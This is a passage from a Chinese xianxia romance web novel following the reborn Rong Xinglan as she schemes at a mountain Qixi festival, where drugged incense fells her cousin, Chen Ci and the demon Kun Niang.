她指尖一弹,动作干脆地将剥落的莲衣抛向坡下草堆。草丛窸窸窣窣,一前一后,钻出两只大黑牛。
在前的大黑牛专心吃着草,在后的大黑牛似乎格外亢奋,它甩着尾巴,忽然一跃,扑在前面黑牛的身上。
容星阑惊地目瞪口呆,将紫蛇摇出来一起看。
黑牛体型庞大,动作起来便有些笨拙,后面那只黑牛扑了几次都没成功,一人一蛇看得津津有味,莲子剥出了嗑瓜子的意味。
丝毫未察田埂末端走来一人,那人牵着一头未成年的小黑牛,自阡陌处缓缓行近。
陈辞瞥见坡下牛事,见少女眼不红心不跳,看得兴趣盎然,破天荒地脸色微变,沉声道:“容星阑。”
“你又在看什么?”
7.乾坤仪
叫他这么连名带姓地一叫,容星阑没由来地心虚,心虚之下,就很想做点什么掩盖心虚,一个使劲,掰断了手中莲蓬。
陈辞当前,坡下两只大黑牛此刻却进行到了紧要步骤,容星阑被抓包似地回避目光,故作无事地看向陈辞。
却见陈辞阴沉着脸盯看着她,只好向左右暼去,一暼,正好暼见牛物,慌忙收了目光,抬眼直直地看着陈辞,目光坚定,再不敢乱看。
这一看,容星阑心神稳了下来,后知后觉:何来的又?
那夜月色下的红樱浮现脑中,小脸一红,目光飞快地瞄了陈辞胸前一眼,只能看见洗得泛旧的青灰色外袍,硬气道:“看、看风景。”
那日出了老宅,容星阑看也不敢看陈辞,几乎是落荒而逃。陈辞似乎也若有若无地回避,这还是自那日后两人第一次见面。
容星阑冷静几日,终于回落了一些神智,先前还未意识到,今日见他,又想起老宅之事,陡然生疑,那日她在老宅也就罢了,陈辞怎么也在?
思索着,腕处一紧,陈辞拉她起来,离开此处观牛之地。她看着腕上骨节分明的手,心中讶异。
陈辞何时和人有过触碰,即便是隔着衣物,也未见他与谁如此亲近,惊诧之下,连挣脱都忘了,老老实实被拉着走了好一段路。却在临近家中之时,又见那温玉般的少年立在院前。
一见郝一,容星阑莫名心虚,竟有种被当场抓奸的感觉,慌忙缩回被拉了一路的手。一缩回来,又觉不对,她分明行得正站得直,前世至今,于男女之事上从未辜负过任何人,反倒是郝一,在她死后转身就娶了谋害她性命的容玄蕴。
彼时她魂身不稳,缚于尸身所在一丈之内,只好遣了其他小鬼来郝牛村打探消息爹娘和郝一的消息,那小鬼回禀时低头不敢看她,唯唯诺诺半天,才道郝一与容玄蕴成婚,琴瑟和鸣,恩爱非常。
过往之事,随风而去,反正今生她和郝一绝无可能。
这样一想,心虚随着前尘往事消散,只是手缩都缩了,又不能硬塞回去。
想起七月七的计划,容星阑故作淡定,转过头正要邀请陈辞青峰山庙会,却看到他面色沉寂,眸光若冰,看向她的眼神没有一丝温度,和看山、看水、看任何物什的目光别无两样。
她心下咯噔,却又奇怪,陈辞本就会修无情道,他眉目一向淡薄,怎么现下一看,竟有种寒山般疏离的意味。
容星阑便咽下未开口的话,只作道别,移开目光,看向院门处等候的郝一。
郝一早早就看见了他们拉在一起的手,虽村中男女无大防,又隔着衣袖,不算逾矩,但他心中还是生出一丝莫名的不安。
他觉得容星阑变了。
容星阑从前恣意单纯,整日琢磨着四处凑热闹,喜欢新鲜的事物,好看的衣裙,精致的钗饰。
和天下所有少女一样,却又那么鲜活无拘,像鸟儿一样自由可爱,又像风一样不可捉摸。
如今她还是恣意,眼中却多了些他看不透的东西,这些东西让他们之间不再轻盈,让她离他很远、很远,她依旧像风,而他无法将风牢握在手心。
让他最在意的是,她和陈辞的关系变得似乎紧密了许多。
但见她走近,郝一还是含着温和的笑,将手中之物递了出去。
“阿阑。”他手中提着一只似笼非笼的玩意,笼心镶了一块七彩琉璃石,随着动作,笼身受力翻动,带动琉璃石无风自转,折射出斑斓的七彩光斑。
此物在上一世并未出现,容心阑一下子被吸引过去,快声问道:“好漂亮,郝哥哥,这是你新做的什么呀?”
郝一和她一起进了院,含笑介绍道:“这是更漏。”
“更漏!”容星阑将它高高提起来,果然看见无论七彩琉璃石如何转动,里面另有一处别致的空间。荧石做的细沙随着时光流逝一点一点飘落下来,在琉璃石光斑的照射下,像是洒满暖阳的黄土大地。待流沙皆漏,那处小空间自作倒转,霎时重置更钟。
她盯着流动的细沙,出了神,不禁喃喃:“你给它取了名字吗?”
乍然起了一阵风,容星阑碎发在琉璃光照下飞扬,一丝断发随风飘去,郝一伸手抓住,看着手中细软的发丝,轻声道:“荧沙为坤,琉光为乾,动静之间,时光流转。便叫,乾坤仪吧。”
容星阑却如顶头骤然敲了一阵洪钟,愣道:“乾坤仪?”
她的思绪飞到极远极远的过去。前世她初初修得实体,魂身不再受尸身所缚,游历群山,刚到涂华山时。
彼时涂华山还叫秃滑山,山颠尤为光秃,受怨气浸染,黄泥裸露,寸草不生。
就在一个傍晚,夕阳斜照山巅时,那秃顶般的山头叫霞光一照,似金光万丈,天际传来一声响彻九州的道音洪钟,容星阑看着五彩霞光,问身边小鬼:“此乃何意?”
小鬼朝着霞光与祥云俯身叩拜,道:“鬼君,此乃神器诞生之兆。九州大陆,又成了一位大器师。”
叫小鬼这样一说,她心中好奇,号令半山小鬼前去打听,便得知这样一个消息:扶苍山掌门于三年前新收了一名亲传弟子,这弟子天赋极高,三年期间炼就神器,一跃成为九州大陆最年轻的大器师,神器名为乾坤仪。
而那名大器师,便是已和堂姐成婚的郝一。
知晓内情的小鬼不住看她的脸色,又奉上另一条消息:郝一不日便与扶苍山掌门之女玉瑶光完婚。
容星阑就着霞光坐在秃滑山山颠,直至霞光散去,夜幕上来,换上满天繁星。
又在迎来朝霞之时,她起身,拍了拍满屁股黄沙,决定好好将秃滑山改造一番。
容星阑一眨不眨地盯着手中之物,她万万没想到,前世从小鬼那得知的神器乾坤仪,竟在这时出现了。
当然了,此“乾坤仪”非彼“乾坤仪”,郝一现在还只是个在书院进学的凡间儿郎,哪里造得出名动九州的神器。
不过,定然算乾坤仪的前身。
郝一将发丝收进袖中,抬头见她连眼睛都挪不动了,笑道:“小心眼睛长上面了,本就是送你的,慢慢看也不迟。”
上一世,乾坤仪应是送给玉瑶光的,但此乾坤仪是送她的,容星阑毫不客气地收下,和他说起七月七的事。
“郝哥哥,七月七书院休沐吗?我们一起去青峰山庙会拜巧娘娘。”
心上人邀约,郝一漂浮不安的心稍稍安定了些,温笑道:“好啊。”
就听她道:“届时我们再叫上堂姐和陈辞哥哥,一同前去。”
郝一笑意渐淡,仍道:“好啊。”
……
夜明星稀,山间驿道旁的歇脚客栈里,容晏打了壶水,抬了些干草,添到马槽中。
干草尽落,红棕骏马甩着马尾,低头去吃槽中草。
容晏望着澄明的星空,不禁抚摸起马鬃,还有几日,他就能回到郝牛村,与家人团聚。
鬃毛在指缝间穿过,他动作一停,
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向四周望去。
夜深人静,山中树影绰绰,他释放神识,仍未感应到修者的气息。
便从鬃毛中取出信卷。
信卷展开,夹了一片光彩奇异的鳞羽,羽下是一幅女子画像。画像下写着一行小字:七月初七,青峰山庙会,巧娘殿前等你。
容晏大惊失色,神识如潮雾般在山间铺展开,直至到他能铺展的极限,仍未感应到任何一个身负灵根者。
他心中发冷:要么来人修为远在他之上,要么……他早就被盯上了。
他看了眼手中女子画像,画中之人,分明是……东海大妖,鲲娘。
是鲲娘在寻他?
还是——有人以鲲娘为饵,引他现身?
……
老宅院内,鲲娘神情恬淡,半倚半靠地躺在床上,鳞羽在月下泛着紫粉色的光波,她静静地看着窗外月下树影。
大门吱嘎,有人进屋,她仍未回头,望着窗外出神。
容成从篓框中取出三只处理好的鸡,露出一个清淡柔和的笑,尽量让自己显得不谄媚又亲切自然,唤道:“鲲娘。”
精心照料两个多月,这大妖才对他有了一丝信任,告知名讳,她叫鲲娘。
鲲娘看也未看他,只道:“怎么今日换了晚上来。”
容成想起这几日越来越阴沉古怪的女儿,却不能对鲲娘言道,只道:“白日里有点事耽搁了。”
鲲娘这才转头,道:“你夜里出来,家里人不生疑吗?”
容成苦笑:若不是容玄蕴生疑,他何至于半夜前来。
“你既然说了不想被人知道,我定是小心谨慎的。”回想仙长的嘱咐,他状不经意地提起,“马上到了乞巧节,这几日确实忙了些,提前送来更为稳妥。”
鲲娘不答,他便看着窗外远山,似在与她唠家常:“乞巧是我们民间的节日,鲲娘乃世外之人,许是不知。每到乞巧,家家户户都要备上巧织物件,去青峰山拜一拜巧娘殿,或挂桂木上,或赠有缘人。”
他做了个合掌虔拜的姿势:“一祈风调雨顺,二祈秋月丰收,三祈人间有情郎。”
“想来我那兄弟容宴,应当也快回来了,就赶七月七,和弟妹一起拜巧娘。”
鲲娘扬眉:“容宴……你弟弟叫容宴?哪个宴?”
容成心中暗喜,面上却抬眉瞠目,似有些惊讶鲲娘忽然发问:“宴……”
他赧然挠头:“我一介农民,不识字,只知道应是‘宴席’的宴,具体怎么写,我就不知道了。”
鲲娘目光悠远,似在回忆,问道:“可有画像?”
容成没有立即回答,而是假意又作惊讶:“鲲娘你认得我兄弟?”
鲲娘摇头:“无聊,听你说起,就想看看。”
容成似是信了,一拍脑袋,笑道:“还真有,你且等着。”
他立马跑去西厢房翻找一圈,捧着一沓落了灰的画纸,在鲲娘面前抖落灰尘,献宝似地递上去:“此乃我那侄女小时候所画,她在作画上颇有天赋,只是年龄大了,就有些惫懒……”
“这是我爹,这是侄女。”画纸陡然一停,容成指着上面的男子道:“你看看,这就是我兄弟容宴。”
孩童作的涂鸦画,却在几笔粗粗浅浅的画墨下显出画中人最为显著的特征,叫人看了,便忆起记忆中的沉稳少年。
“可认得?”容成问。
鲲娘长睫微颤。
“凡尘之人,怎会认得。”
8.青峰庙会
七月七,青峰山。
好不容易爬到了半山,此处有一个环山台,台上铺肆两列在侧,张灯结彩,人山熙攘。
容星阑一个跳步到卖糖葫芦的大娘身前,蝶簪随着轻跃的动作在发上轻颤。她在插满糖葫芦的草靶上左右端详,从中抽走最为圆润剔透的四根,掏出荷包:“多少钱?”
大娘起先被她突然跳上前来的动作一骇,见她一连拿了四根,登时喜笑颜开:“姑娘给我四钱就好了。”
容星阑便取了四个铜币,还未给出去,一双纤瘦如玉的手伸出,抢先一步付钱,郝一对着大娘温笑道:“有劳。”
容星阑不跟她客气,仰头粲然一笑,唤了声:“郝哥哥。”
她自己留了一根,给身侧的郝一递上一根,转身给身后的容玄蕴和陈辞各分一根。
邀容玄蕴一行,并非难事,只消跟阿娘说一声,阿娘和大伯说一声,大伯威压下,容玄蕴不想出来也得出来。
难“请”的是陈辞。
她软磨硬泡了好几天,陈辞才堪堪松口,最后阿娘助攻:“阿辞,别整日自己闷着,你们年轻人一起出去玩一玩,散散心。若是银钱不够,裴姨给你。”
陈辞这才却之不恭地应下。
只是一行四人,其中两个人是闷葫芦,稍微话多的郝一,也是十分正经,寻不到有趣的话题。
一路上,四人几近沉默地凳梯爬山,只偶尔容星阑和郝一聊两句,还都是容星阑见到稀奇事兴奋惊呼,郝一在旁做一个温声细语的捧哏。
而容玄蕴和陈辞,皆一言不发地跟在二人身后,二人停便停,二人看山便看山,二人前行便默然前行,二人递糖葫芦,便接下糖葫芦。
到了半山处,漫长且无聊的登山暂停,容星阑在环山台上不住张望,前方不远处另有一座高台,台下人声鼎沸,呼声一片,她兴致高昂,抬手一指:“走,我们去那!”
容星阑一向不拘小节,跻身便挤进人群中,郝一在她身后跟着,替她挡住一些不无意挤过来的人。
容玄蕴看着身前拥挤不堪的人海蹙眉,山风一吹,她不禁掩鼻,闻到了若有若无的人汗味。
却见陈辞面无表情地也挤了进去,只好跟上,艰难地穿至人群前排,方得了一时缓息。
容星阑在前作观,台上立有纺车和机杼,有女子在上织布纺线。不消一炷香的功夫,纺车低转、机杼踏提的轻鸣声停止,两位女子分别展示自己的纺线和织布。展毕,放于展盘中,由锦衣童子绕台游走。
在前的观众皆可用手摸触,一是感受纺线和织布的细密和柔度,二来摸了就算收到了巧娘的福祚。
容星阑不等童子走到跟前,早已伸出手去,待摸到纺线和织布,惊呼:“好线!好布!”
她想示意郝一也感受一番,一转头,身边之人却是容玄蕴。面上的欢欣倏忽一顿,此时再冷脸便略显小气,只好顺着笑脸扯了扯容玄蕴的袖子:“堂姐,你也摸摸。”
容玄蕴也作一顿,然锦衣童子已到跟前,只好伸手在揉捏了一下线头,又捻了捻布块,道:“尚可。”
容星阑这才回头,看清了四人所在方位。郝一在她右侧,容玄蕴在左侧,陈辞静静立在身后,他身形瘦高,她往上一瞧,与那冷面垂下的漠然视线对上,竟有些逼仄之意,就扭过头,再不回头看他。
台前上了一位端丽的娘子,作巧娘扮相,道:“还有没有女子或儿郎上前一试?最为巧线善布者,可得浮光锦布一匹。”
又有不少女子跃跃欲试,其中不乏年岁较大的妇人。容星阑推了推容玄蕴抱着的手臂:“堂姐,你去试试。”
她尤记得容玄蕴绣工极佳,饶是纺线织布,技艺也十分出众。由容玄蕴纺的线,线线匀净细密,她所织的布,更是针线醇厚,织纹颇有自己的一份巧思。
说起来,容玄蕴与郝一都是手巧之人。
容玄蕴叫容星阑轻轻一碰,紧抱着的手臂一松,向她看去。
堂妹今日似乎不同寻常,连着和她搭话两次,言语之间无阴阳怪气怪气之意,一双杏眼明亮闪烁,现下正亮亮地盯她。
她目光收回,“不去”二字就要脱口而出,“巧娘”许是听到她们的对话,已至她身前,弯身邀请道:
“这位小娘子,也来试试吧。今日纺线织布,是在向巧娘祈福,不论技艺如何,巧娘保佑每一位女郎,觅得良缘,风雨同归。”
“觅得良缘”,是每一位长辈对待闺阁少女的美好祝愿。容玄蕴垂下眼睫,掩住眸中翻涌的情绪。
她何尝不想觅得良缘,只是堂上歹父,身为凡尘女子,又如何挣脱?
“巧娘”作邀的手仍在空中,笑盈盈地候着她,容星阑也两眼期待地望着她。容玄蕴稍作沉吟,将手放至“巧娘”掌心,就听一阵鼓掌欢呼,牵头的正是她那静不下一刻的堂妹。
容玄蕴选了织布。
台下欢呼渐停,她静坐机杼前,眼中只有纵横交错的线。机杼轻响,素手翻飞,线走如梭,锦纹在指下渐生。
众人感受到少女的专注,皆摒息观望。容星阑也呆呆地看着,心中想的是:这双织布的手,也是抚琴的手。线如弦,弦作线,堂姐确实是天生的琴修。
一炷香至,容玄蕴起身静立,展示织布,童子持盘而上,接过织布,台边游走。
台下私语切切,似此布非同寻常,容星阑终于等到童子,伸手在布上一捻。实际不必作捻,那方寸大小的布上,细密无隙,线走游龙,纹路层叠精美,看上一眼,便觉色、纹华润,摸上去时,更觉抚之若水。
容星阑毫不吝啬朗声夸赞:“便是巧娘下凡,也当如此了。”
这一夸,人群中轰然喜笑起来,东赞一句,西叹一句,童子游走结束,由“巧娘”相看,她满眼欣赏地点头:“所言极是,今日浮光锦布,便赠予这位小娘子。”
容玄蕴虽知晓自己技艺精湛,未曾想竟真凭借手艺获得了一段上好的布匹,一时愣怔,显出几分少女的笨拙。
在容星阑看起来,容玄蕴应是极其不善应对被人捧观的场合,也难怪前世当了神女还总是冷脸示人,便对那赠布童子道:“我们还没拜巧娘呢,先在你这放着,晚些来拿。”
除了织布、纺线,台上还有剪纸、书法和作画,容星阑跃跃欲试,对着郝一道:“我们也去试试罢。”
这样说着,转身看到新添的彩头,是一张华丽诡谲的面具。面具为花丝织就,上着翎羽、华彩,容星阑瞬间看直了眼,即刻举手上
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台:“我们也来!”
她选的是作画。
幼时爹娘专门从镇上请了夫子,琴棋书画都曾教授,然她样样不擅,似乎天生手艺不精,唯独作涂鸦画,尚且有几分模样。
郝一选了书法。他本就善文,且写得一手好字,阿娘时常称赞连连。不过阿娘也说,郝一心柔,笔迹也柔,下笔稳重,却少了几分苍遒清刚的劲道。
容星阑又看了一眼台下的陈辞。
陈辞么,会剑就够了。即便他什么也不会,还不是做了九州第一剑君。不过,她曾不止一次猜想,陈辞大字不识一个,他究竟如何习读功法。思及此,思绪翩跹,只觉台下冷峻的少年,也不那么肃穆凌人。
思绪在众人观望的目光中回笼,容星阑摸着下巴沉思,顷刻间提笔画起来,她画的是巧娘。
又是一炷香的时间,锦衣童子收了台上作品,先是将郝一的书法传阅一番,人群中无不惊呼赞叹。又将容星阑的画绕台传观,人群中无不窃笑逗趣。
截然相反的两种态度让容星阑很是恼怒。她瞪向郝一眼笑眉舒的脸,气呼呼地冷哼一声,起身下台。
“巧娘”笑问台下众人:“还有哪位娘子郎君想来一试?”
此意为郝一的字也没能夺得彩头,二人上台也就表演了个乐呵。
容星阑甫一下台,就见高台跃上一人,讶眼看去,竟是陈辞。
“巧娘”问:“郎君要试什么?”
陈辞淡声道:“剪纸。”
容星阑又哼一声,想来他既不会书法,也不会作画,只能剪纸,便端抱双臂,认真盼看。
陈辞拿了剪刀,垂眸看纸,他动作极快,用不着一刻钟的时间,只几息之间就停下动作。彩纸轻抖,纸叶簌簌,手中彩纸显出一张极其繁复的织女彩云图。
场下众人静默,容星阑目瞪口呆,倒吸一口凉气。
他怎么做到的!
一番流程过后,在众人此起彼伏地惊叹下,陈辞手持锦华面具下台。
郝一贺道:“恭喜阿辞,想不到阿辞于剪纸一术颇有巧技。”
容星阑想:哪是什么剪纸术,分明就是剑术!此人天赋恐怖如斯,未入昆吾,就已经有如此能耐了么?
幸而她早有妙计,今日就叫他再也入不了无情剑道。没有无欲无情的加持,谅那昆吾道隐真人也看不上他。
容星阑眼睁睁瞧着陈辞将面具挂在胸前,颇为冷傲地走到身前,又一个侧身,站到身后。
容星阑:“……”
面具为陈辞所得,容星阑不是无赖之人,既不能抢了去,跟他又没有熟到那个地步,不好开口讨要,只时不时回头,稀罕几眼。
她转头的次数多了,发间飘带时不时在左侧容玄蕴的脸上一拂。
飘带柔软,不至于疼痛,只是屡屡蹭拂,脸上有些发痒,容玄蕴忍了又忍,心下渐烦。
她看了看逐渐高升的日头,难得主动开口,提议道:“看了好一会儿了,我们再往上爬吧。午时还要食七碗,拜巧娘。”
容星阑叫她一提醒,不由抬头望向山巅的平台。那里立了一座巧娘殿,殿后设了厢房,正是她早已备好的好戏开场之地。
容星阑绚烂笑开:“好呀。”
9.青峰庙会(二)
环山台和山巅相距不远,梯层与梯层之间却比寻常的阶梯高,登爬时需抬高脚步。
习惯了鬼君时轻盈若飘的身体,容星阑一路爬来,只觉脚步愈发沉重,到了一个供人歇脚的台层,四人又停一停。
她正倚在厚重的石栏上扇风观景,边上老道神神在在,他面前飘了一只小水缸似的大碗,碗上漂浮着数根细针,水底针影似花似鸟,容星阑还未发问,就听老道言:“这位小友,可要试试漂针乞巧?”
容玄蕴清冷寡言,一双墨眼向碗中望着。
陈辞抬眼看了看老道,不发一言,但已然走上前来。
郝一笑着道:“似是观影作卜。”
见其他三人围了过来,容星阑本身只有三分兴致顿时多了五分,脆声问道:“怎么玩?”
老道摸了一把又长又白的胡子,道:“郎君慧眼,确实是观影为贞。只消置针于水上,针影成形,可察过往,亦可观来日。”
老道又言:“一次五钱!不准不要钱。”
容星阑问:“我们又如何得知准还是不准?”
老道笑:“相逢即是缘,你若不信,免费试一次,我不收钱。”
这倒有趣,因往事与来日,恰好她全然知晓,便深意一笑,只道:“赐针。”
老道递上一个木盒,仅容一只手伸进去,看不见盒中之物,他道:“摸到几根便是几根,取针后,投掷碗中即可。”
容星阑正欲伸手,郝一拦住:“针尖无眼,我帮你取。”
“不必。”容星阑拂下他的手,道,“卜算过经之物,不可由他人代劳。”
那老道点头抚须,很是赞同:“正是此理。”
木盒看着仅有尺素大小,手伸进里面,内有乾坤。细密冰凉的针海上上下下贴手而放,针身圆润,极细却并不伤人,她轻轻一顺,翻手之间,已摸出几针,朝水中掷去。
细针落水,并未下沉,为水承托,阳光之下,碗底呈现针影。
老道问:“小友是察过往还是问来路?”
容星阑:“过往。”
老道先是笑道:“浮生若梦,何须辨真。醉醒皆在,袖纳烟云。不过小友既想问,老道也就观一观罢。”
“哦?”他看了碗底针影,似是惊奇,道:“雾盖青山,非原面目;石中有玉,不见真章。”
“小友,过往之事,所见所闻并非为实,真真假假,虚虚实实,悟在未见啊。”
针影变换,在水下竟折射出奇异的色彩,老道又言:“颠倒乾坤作南柯,换得今时今日醒……”
他却不详释其意,容星阑便问:“何意?”
老道笑:“这是另外的价钱。”
容星阑正上兴头,就要取钱再问,只这一停顿,叫他人误解此贞已止。容玄蕴递上五枚铜钱:“有劳,我算来日。”
她面容稳静如常,寒星般的目光却闪着几分好奇的灼烁,频频看向放着细针的木盒,分明是跃跃欲试之相。
容星阑心中惊奇纳罕,在她印象中,容玄蕴一直是清冷矜傲之人,没想到竟对占卜一事颇感兴趣。脑中便又浮现前世与容玄蕴纠葛较深的男修,还真叫她翻出一位修占道之人,此人也是她的师兄,只不过同山不同门。
容玄蕴不知旁人做何观想,已然摸针掷水,那针却在水中翻腾一番,大半沉了下去,就在此时,风吹水,水生波,细针全然上浮。
老道疑了一声,道:“初行多阻,如舟逆水;一破暗流,万里风生。旧艺不废,易形而用;他日所凭,正在此中。”
水下针影又在一阵风下变换,彩影熠熠,他连连抚须:“凰尾乘风,此乃天命之象啊。”
容玄蕴眸中生辉,不知是信了还是没信,道:“多谢。”
容星阑回味老道给容玄蕴的批语,暗暗心惊,此谶言与容玄蕴未来修途一一对应,心中生出一种钝钝的闷压之感。
同样为人,有人生负天命,有人作簪下亡魂。天命之人,就该众生与万物都与她让道么?
继而稳住心神,事在人为,今生今世,容玄蕴若有一场好姻缘,日后便是又得了仙缘,那也是她的造化。她们姊妹二人,各行其道,再不必兵刃相向了。
老道问:“两位郎君可要一贞?”
郝一拱手:“不必。命运如何,自有轨迹,观与不观,都无法改变命定之事。”
老道笑评:“心性极佳。”
他转头看向陈辞,道:“这位郎君要不要试试?”
老道笑颜灿亮,似有打趣之意:“我可以帮你问一问情缘。”
陈辞横瞥老道一眼,额上一跳,寒目泠然,并不答话,只对几人道:“继续走罢,正午吉时快到了。”
……
青峰山顶台,高大的桂木已缀上几簇早开的黄蕊,朱色祈愿纸悬于叶间,纸下坠豆,风起纸曳,树下一阵若隐若无的丹桂花香。
老媪分与四人各一把蚕豆并一张祈愿纸,道:“将蚕豆分与隔阂之人,化解嫌隙;分与心悦之人,缔结良缘;与祈愿纸一同悬与树上,祈愿平安吉祥。”
蚕豆在容星阑手中,尚存一丝温热,似乎将才从热炉中取出来。她依老媪所言,从中取一粒,分与身边的郝一。
“郝哥哥。”
郝一与她易豆而食,温声道:“郝一愿与阿阑,喜结良缘。”
容星阑面带浅笑,点头道:“当然。”
才怪。只愿日后各缔良缘,各自安康。
与郝一分完豆,她转向另一侧,面对容玄蕴。
四目交接,容星阑轻轻一笑,道:“堂姐,愿你我永无''缠斗'',缔结善缘。”
愿往后不论做人做鬼,各行其道,不必有瓜葛。
容玄蕴今日心情似乎不错,闻言和她相视一笑,道:“好。”
容星阑走向最末侧的陈辞。
陈辞胸前还挂着那顶花丝锦华面具,容星阑目光游离,在面具上端望片刻,才抬眼看去。
看去之时,她绽出一个笑,道:“阿辞哥哥,愿日后我们邻亲和睦,善缘长缔。”
山间又起风,将树上桂香吹来,树叶哗哗,不待陈辞回答,容星阑仰头望树。
那句轻若无声的“好”随风飘去,正午已到,钟鼓声响,四人齐齐仰首观望,悬挂在巧娘殿前的彩带飘飘,老媪道:“啊呀,正午到了,几位娘子郎君写好祈愿,将剩下的蚕豆与纸给我,快快去食七碗罢。”
四人极快地写下祈愿递于老媪,一位锦衣童子上前,与容星阑交换眼神,有礼道:“娘子郎君,请跟我来。”
锦衣童子将四人领至巧娘殿后,殿后为一个四合院,共计十二间厢房。
容星阑定的是北面北二厢房,房号“静无”,相邻的北三厢房房号“静空”。
厢房内北墙上立巧娘像,远不及巧娘殿上高大威仪,但也精雕细琢,庄严威容,眉目慈悲。
这是为贵客朝拜所设,厢房内松香馥馥,环境幽静舒适,不必与众人一同在殿中挤搡。
厢房内设有长案,上置四份“七食”,分别是七碗糖水、七杯清茶、七色果子、七种糖酥巧物。
四人落座,在锦衣童子的引领下食用“七食”,容星阑持杯,悄然观望,见容玄蕴与陈辞皆毫无防备地饮用糖水清茶,嘴角不禁勾起,将茶一饮而尽。
用完七食,便拜巧娘。拜好巧娘,锦衣童子告退,四人在厢房中歇息。静坐片刻,容星阑忽然“呀”道:“我的蝶簪!”
三人朝她发间望去,她今日扎了一对双丫髻,髻后垂带,髻前分别别了一对镶珠蝶簪,此时仅一边髻前蝶簪随动作轻颤,另一边空然无物。
郝一立即起身,道:“我去寻。”
容星阑藏住眼底笑意,没想到不必她开口,郝一竟如此上道,她面作惊慌楚楚的样子,道:
“那便劳烦郝哥哥,可能是掉在了桂木下,若没有,也可能在环山台处掉了。这可是郝哥哥亲手做的,我平时很是珍爱,一般日子都不舍得带,若是丢了……”
她面容惊怜,泫然欲泣,郝一忙道:“阿阑莫慌,我这就去寻,若是寻不到了也无妨,我再打一对与你便是。”
说着,他向外走去。
屋内另外二人面色仍沉静如常,陈辞长睫微垂,品茶不言。容玄蕴静坐在侧,似也要起身,容星阑看着郝一去往前殿的背影,回过头道:“堂姐,你尝尝这绿豆沙,清甜去暑,不算太甜腻。”
容玄蕴便坐下,舀勺又吃了一口绿豆沙,道:“确实。”
三人无言,等了一刻钟,容星阑轻声自疑:“怎么郝哥哥还没回来?”
她起身向外走去:“堂姐,阿辞哥哥,你们稍等片刻,我去看看。”
不待二人回答,容星
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阑合上房门。她早已探知隔壁“静空”厢房是给城中贵宾所留,而那位贵宾今日有事不能前来,除却傍晚用饭时分,不会有人前来。
而他们所在的“静无”厢房,时不时会有锦衣童子前来叩问送茶,若是直接拂了去,事发后谁来一问,就会生疑。
她取下“静空”的房号,与“静无”调换。
……
郝一四处都寻遍了,也没找到蝶簪,虽心中惋惜,也不得不往回走。
路过悬着万千朱色祈愿纸的桂木时,抬头仰望,不知阿阑所祈为何。
他向巧娘祈的是:愿阿阑,一生无忧。
祈愿纸在风中曳曳飘零,郝一收回目光,便听少女脆甜的声音:“郝哥哥。”
她朝他跑来,郝一伸手轻扶一下,待她稳住身形,问道:“何事跑这么快?”
又道:“那蝶簪尚未寻到,今日太多人了,许是被人踢到了角落里,也可能被人拾了去。晚些时候我再来找找,不管是否寻得,都再与你新做一对。”
容星阑道:“谢过郝哥哥。”
郝一笑道:“不必总与我言谢,平白生分许多。”
容星阑便笑:“好。我方才想到,蝶簪许是掉入了环山台的一处石缝中,我在那里绊了一下,彼时人多,就没有低头细瞧。郝哥哥,你陪我一起去看一看罢。”
郝一自然道好,二人下梯而去。
就在他们身后,一位头戴帷帽、身披斗篷的女子静观二人远去身影。
原来这便是容成侄女的婚配之人。
鲲娘看着二人言笑晏晏地走远,不禁心道:容晏是个专情之人,他的女儿却不尽然。
在她身旁的老媪顺着目光看了看下梯的小儿女,悄声打量眼前古怪的娘子。
这位娘子应当不是周边村庄里的人,她的斗篷虽简丽,凑近可察布料泛着珠色光泽,以她多年织布经验,此布料非寻常之人可得。
且这娘子在桂木下静站多时,不言也不语,似乎在等人。
老媪心中轻叹,正午是乞巧吉时,正午已过,若是她等的人还不来,便是再也不会来了。
她再次劝道:“这位娘子,在这站久了,风吹日晒,不若去尝一尝巧娘殿中的七食?”
鲲娘摇了摇头,目光在人群中搜索着,她从容成那推测得知,容晏极有可能在此地出现。
若真是记忆中那人,她腹中的孩儿,或许有救。
一位锦衣童子从殿中走来,与老媪禀道:“豆娘子,所有贵客都落座厢房,掌事大人问今日是不是赐豆结束了,唤您一道用食。”
鲲娘这时出声,问:“厢房?”
豆娘子笑着解释道:“殿中设了厢房,专供捐布的贵客……”
未等豆娘子说完,锦衣童子道:“有一位贵客未来,还剩了一间。”
豆娘子愣了一下,道:“反正空了一间,娘子不如去试试七食?稍作休息。拜了巧娘,巧娘定会保佑娘子心中所愿。”
鲲娘沉默半晌,问:“容家也有厢房吗?”
她问的没头没尾,锦衣童子似乎知晓她想问的是什么,快声答道:“自是有的,郝牛村容家年年捐布,‘静空’便是……”
豆娘子厉声斥停,对鲲娘歉意一笑,道:“其他贵客行迹,我们不便告知,还请娘子见谅。怀盛,带娘子去食‘七碗’。”
她满心只想打断童子所言,全然没注意童子所言有误,容家的厢房是‘静无’,只看着叫怀盛的锦衣童子带着古怪的娘子去往后殿,自己去寻掌事大人。
豆娘子走后,不远处树林中现出一人,容晏看着鲲娘随童子远去,暗道:竟真是鲲娘。
他再度展开神识,整座青峰山上并无一位修者。容晏悄声观察四周,见无行踪古怪之人,只瞧见他那大哥携大嫂在巧娘殿祈福。七月七,郝牛村家家户户拜巧娘,大哥出现在此地,不足为奇。
沉吟片刻,容晏跟上鲲娘。
……
原‘静无’厢房内。
许是松香点多了,或是受了潮,清爽的松香中有一缕淡淡的闷香,闻久了有些昏沉,容玄蕴起身,想支窗透气。
却在她起身的瞬间,浑身一软,眼前一黑,跌倒在地上。
陈辞见状,正欲上前查看,不料还未动作,也觉一阵眩晕,他摇了摇脑袋,毫无缓解,昏倒在案桌上。
10.救人
光束自窗格中漏下,香线游丝,在光晕中婉转悠散。
一双墨黑的眼在光束尽头兀地睁开。
陈辞起身静立,一步一步走向香炉。正要抬手折香,屋外脚步声渐近,他微微侧耳,目光一扫,只一挥指,取墙角敝帚中的长棍,棍端将地上的容玄蕴一抬,若抬鸿羽般,将容玄蕴抬至屏风后。自己则向上一跃,隐入梁中。
锦衣童子清脆的童声引道:“娘子,请往‘静无’厢房。”
鲲娘经过静空厢房,目光在帷帽下向合上的房门处不经意一扫,随童子指引走入静无厢房。
房中松香馥郁,她持帕轻捂,打量起殿内陈设。
北墙上巧娘端立,微垂的眼眸内含慈悲,鲲娘静观半晌,将目光移向屋中长案。长案上尚且摆放四份未清理的七食,似有被人食用过的痕迹。她转头问道:“怀盛,可是进错了厢房?”
身后房门紧闭,锦衣童子早已退去,鲲娘两月前好不容易逃离扶苍山修士的追杀,时常风声鹤唳,此时不觉戒备,正欲夺门而出,腹中忽一阵剧痛,面上鳞羽若现,心知松香有异,痛呓连连,竟连一步也走不得。
